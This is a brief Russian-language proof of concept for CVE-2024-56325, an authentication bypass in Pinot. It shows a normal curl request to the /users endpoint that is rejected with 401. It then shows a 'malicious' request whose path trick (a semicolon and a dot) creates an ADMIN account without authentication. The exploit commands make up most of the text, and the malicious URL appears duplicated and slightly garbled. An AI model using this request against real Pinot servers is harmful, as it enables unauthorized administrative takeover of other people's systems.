CVE-2024-56325Проблема обхода аутентификации
Если путь не содержит / и содержит ., аутентификация не требуется.
Ожидаемый пример нормального запроса и ответа
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Возврат: {"code":401,"error":"HTTP 401 Unauthorized"}
Зловредный запрос и пример ответа
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Возврат: {"users":{}}
Новый пользователь добавляется, обходя аутентификацию, что позволяет пользователю управлять Pinot.